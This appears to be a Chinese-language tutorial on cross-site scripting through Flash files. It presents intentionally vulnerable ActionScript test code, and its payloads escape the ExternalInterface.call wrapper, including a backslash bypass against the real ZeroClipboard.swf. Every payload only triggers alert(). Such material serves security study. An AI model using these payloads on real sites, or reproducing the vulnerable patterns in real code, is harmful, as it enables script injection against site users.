FLASH

Flash?

.swf是Flash文件的后缀,在线反编译的网站http://www.showmycode.com/
该文件是由ActoionScript(以下简称AS)语言编写的,现在的AS分为了AS2和AS3,说白了就是两个版本
关于flash的参数传递之间的不同:
AS2:采用_root.argv形式,argv直接就是参数名
AS3:采用loaderInfo.parameters形式,返回key和value的结构


Flash XSS

Flash XSS的起因

几个参数:getURLnavigateURLExternalInterface.call
1.缺陷参数-getURL&navigateToURL
可以执行js代码,as2中是getURL,as3中是navigateToURL

  1. navigateToURL
    1
    navigateToURL(new URLRequest(para), "_self"); //其中parm可以作为js代码执行

测试代码

1
2
3
4
5
6
7
8
9
10
11
import flash.net.navigateToURL

public class Main extends Sprite
{
public function Main()
{
var url:String = stage.loaderInfo.parameters.url;
navigateToURL(new URLRequest(url), '_self');
}

}

payload:
?url=javascript:alert('xss')
结果:

  1. getURL
    1
    getURL(para,"_self"); //para可以作为js代码执行

利用和navigateToURL相同

3.ExternalInterface.call

1
ExternalInterface.call(func_name,para1); //func_name代表函数名,para1是函数func_name的第一个参数,可以只写第一个参数

底层代码:

1
try { __Flash__toXML(函数名("参数1")) ; } catch (e) { "<undefined/>"; }

  1. ExternalInterface.call()-函数名
    测试代码:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    public function Main()
    {
    var a:String = root.loaderInfo.parameters.func;
    if (ExternalInterface.available)
    {
    ExternalInterface.call(a);
    }
    else{
    trace('error');
    }
    }

payload:
?func=alert(1))}catch(e){alert(2)}//
实际Code:
try { __Flash__toXML(alert(1))}catch(e){alert(2)}//("参数1")) ; } catch (e) { "<undefined/>"; }


payload:
?func=a1lert(1))}catch(e){alert(2)}//
实际Code:
try { __Flash__toXML(allert(1))}catch(e){alert(2)}//("参数1")) ; } catch (e) { "<undefined/>"; }
结果:

  1. ExternalInterface.call()-参数1
    测试代码(测试失败)
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    public function Main()
    {
    trace('Success');
    var a:String = root.loaderInfo.parameters.para;
    if (a)
    {
    ExternalInterface.call("console.log", a)
    }
    else{
    }
    }

payload:
\"))}catch(e){alert(1)}// //由于jsencode会对"进行转义,这里使用\"使其变成闭合的形式.
实际Code:
try { __Flash__toXML(console.log("\"))}catch(e){alert(1)}//")) ; } catch (e) { "<undefined/>"; }
结果(可以看之后的ZeroClipboard.swf的测试)

  1. ZeroClipboard.swf
    关键代码:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    super();
    stage.scaleMode = StageScaleMode.EXACT_FIT;
    Security.allowDomain("*");
    var flashvars:* = LoaderInfo(this.root.loaderInfo).parameters;
    id = flashvars.id;
    button = new Sprite();
    button.buttonMode = true;
    button.useHandCursor = true;
    button.graphics.beginFill(0xCCFF00);
    button.graphics.drawRect(0, 0, Math.floor(flashvars.width), Math.floor(flashvars.height));
    button.alpha = 0;
    addChild(button);
    button.addEventListener(MouseEvent.CLICK, clickHandler);
    button.addEventListener(MouseEvent.MOUSE_OVER, function (_arg1:Event){
    ExternalInterface.call("ZeroClipboard.dispatch", id, "mouseOver", null);
    });

首先寻找可以触发的点,在ExtenalInterface.call里面的参数是可以控制的,跟到id的定义id = flashvars.id,再继续跟到flashvars的的定义

1
var flashvars:* = LoaderInfo(this.root.loaderInfo).parameters

这个我们之前说过就是AS3的获取参数的形式,接着是利用的方式,这里有个地方需要绕过,如下:

1
button.graphics.drawRect(0, 0, Math.floor(flashvars.width), Math.floor(flashvars.height));

需要先构造一个button成功后才能到达可以利用的点.
payload;

1
id="))} catch(e) {alert(1);}//&width=1000&height=1000

结果:


没有任何的反应,看浏览器的错误日志

发现"\转义了,可以添加一个\来达到绕过的效果
payload:
1
id=\"))} catch(e) {alert(1);}//&width=1000&height=1000


HTML中的Flash

Flash的嵌入:

1
2
3
4
<object width="200" height="200" type="application/x-shockwave-flash" data="flash-path">
<param name="allowScriptAccess" value="always" />
<param name="allowNetworking" value="all" />
</object>

这里有两个参数allowScriptAccessallowNetworking

1
2
3
4
5
6
7
8
9
allowScriptAccess:控制html页面与Flash页面铜须
always:通讯不做限制
samedomain:同域可通信(默认值)
never:禁止通讯

allowNetworking:控制Flash的与外部网络API
all:所以有网络API通讯接口都可用
internal:naigateToURL,fscomman,ExternalInterface.call不可用
none: 所有网络API不可用

Alert.as

1
2
3
4
5
6
7
8
9
public class Main extends Sprite
{

public function Main()
{
ExternalInterface.call("alert",'xss');
}

}

1.插入本地文件&allowScriptAccess为samedomain或者always可弹窗

1
2
3
4
<object width="200" height="200" type="application/x-shockwave-flash" data="./Alert.swf">
<param name="allowScriptAccess" value="always" />
<param name="allowNetworking" value="all" />
</object>

结果:


2.插入本地文件&allowScriptAccess为never没有弹窗效果
3.插入远程文件&allowScriptAccess为always可弹窗
4.插入远程文件&allowScriptAccess为samedomain或者never没有弹窗效果
5.allowNetworking为internal没有弹窗,由于ExternalInterface.call被禁止了

在线测试网站:https://cure53.de/flashbang

(ง •_•)ง